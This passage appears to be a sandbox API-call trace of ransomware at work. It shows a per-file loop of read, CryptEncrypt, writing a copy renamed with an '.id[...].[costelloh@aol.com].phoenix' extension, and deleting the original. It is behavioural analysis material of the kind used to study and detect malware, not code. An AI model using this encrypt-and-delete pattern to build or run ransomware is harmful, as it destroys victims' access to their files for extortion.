	[0064.626] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=68226) returned 1
	[0064.626] CloseHandle (hObject=0x31c) returned 1
	[0064.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80
	[0064.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.626] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0064.626] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.627] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.627] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.627] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa648) returned 1
	[0064.627] CryptSetKeyParam (hKey=0xbaa648, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.627] ReadFile (in: hFile=0x31c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x10a82, lpOverlapped=0x0) returned 1
	[0064.766] CryptEncrypt (in: hKey=0xbaa648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x10a90, dwBufLen=0x10a90 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x10a90) returned 1
	[0064.766] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x10a90, lpOverlapped=0x0) returned 1
	[0064.769] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa288) returned 1
	[0064.770] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.770] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0064.770] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0064.770] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0064.770] CryptDestroyKey (hKey=0xbaa648) returned 1
	[0064.770] CloseHandle (hObject=0x31c) returned 1
	[0064.770] CloseHandle (hObject=0x314) returned 1
	[0064.773] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1
	[0064.775] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0064.775] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.775] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=65238) returned 1
	[0064.775] CloseHandle (hObject=0x314) returned 1
	[0064.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80
	[0064.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.776] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.776] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.776] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.776] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0064.776] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa3c8) returned 1
	[0064.777] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.777] ReadFile (in: hFile=0x314, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xfed6, lpOverlapped=0x0) returned 1
	[0064.802] CryptEncrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xfee0, dwBufLen=0xfee0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xfee0) returned 1
	[0064.802] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xfee0, lpOverlapped=0x0) returned 1
	[0064.804] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa7c8) returned 1
	[0064.804] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.804] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0064.804] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0064.805] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0064.805] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0064.805] CloseHandle (hObject=0x314) returned 1
	[0064.805] CloseHandle (hObject=0x31c) returned 1
	[0064.807] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1
	[0064.810] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0064.811] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0064.817] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=3546) returned 1
	[0064.817] CloseHandle (hObject=0x33c) returned 1
	[0064.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80
	[0064.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.817] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0064.817] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.817] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.818] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0064.819] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa648) returned 1
	[0064.819] CryptSetKeyParam (hKey=0xbaa648, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.819] ReadFile (in: hFile=0x33c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xdda, lpOverlapped=0x0) returned 1
	[0065.864] CryptEncrypt (in: hKey=0xbaa648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xde0, dwBufLen=0xde0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xde0) returned 1
	[0065.864] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xde0, lpOverlapped=0x0) returned 1
	[0065.865] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa688) returned 1
	[0065.865] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0065.865] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0065.865] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0065.865] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0065.866] CryptDestroyKey (hKey=0xbaa648) returned 1
	[0065.866] CloseHandle (hObject=0x33c) returned 1
	[0065.866] CloseHandle (hObject=0x31c) returned 1
	[0065.867] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1
	[0065.868] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0065.868] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0065.868] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=79296) returned 1
	[0065.868] CloseHandle (hObject=0x31c) returned 1
	[0065.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80
	[0065.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0065.868] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0065.868] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0065.869] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0065.869] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0065.869] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa288) returned 1
	[0065.869] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0065.869] ReadFile (in: hFile=0x31c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x135c0, lpOverlapped=0x0) returned 1
	[0065.891] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x135d0, dwBufLen=0x135d0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x135d0) returned 1
	[0065.891] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x135d0, lpOverlapped=0x0) returned 1
	[0065.893] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa908) returned 1
	[0065.893] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0065.893] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0065.893] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0065.893] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0065.894] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0065.894] CloseHandle (hObject=0x31c) returned 1
	[0065.894] CloseHandle (hObject=0x33c) returned 1
	[0065.896] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1
	[0065.898] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0065.898] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0065.898] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=82374) returned 1
	[0065.898] CloseHandle (hObject=0x33c) returned 1
	[0065.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80
	[0065.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0065.898] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0065.898] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0065.899] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0065.899] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0065.899] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa448) returned 1
	[0065.899] CryptSetKeyParam (hKey=0xbaa448, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0065.899] ReadFile (in: hFile=0x33c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x141c6, lpOverlapped=0x0) returned 1
	[0065.939] CryptEncrypt (in: hKey=0xbaa448, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x141d0, dwBufLen=0x141d0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x141d0) returned 1
	[0065.939] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x141d0, lpOverlapped=0x0) returned 1
	[0065.941] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa5c8) returned 1
	[0065.941] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0065.941] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0065.941] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0065.941] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0065.941] CryptDestroyKey (hKey=0xbaa448) returned 1
	[0065.942] CloseHandle (hObject=0x33c) returned 1
	[0065.942] CloseHandle (hObject=0x31c) returned 1
	[0065.944] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1
	[0065.950] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0065.950] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0065.950] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=80738) returned 1
	[0065.950] CloseHandle (hObject=0x31c) returned 1
	[0065.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80
	[0065.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0065.951] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0065.951] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0065.951] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0065.951] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0065.951] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa288) returned 1
	[0065.951] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0065.951] ReadFile (in: hFile=0x31c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x13b62, lpOverlapped=0x0) returned 1
	[0065.991] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x13b70, dwBufLen=0x13b70 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x13b70) returned 1
	[0065.991] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x13b70, lpOverlapped=0x0) returned 1
	[0065.993] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa4c8) returned 1
	[0065.993] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0065.994] CryptEncrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0065.994] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0065.994] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0065.994] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0065.994] CloseHandle (hObject=0x31c) returned 1
	[0065.994] CloseHandle (hObject=0x33c) returned 1
	[0065.996] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1
	[0065.998] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
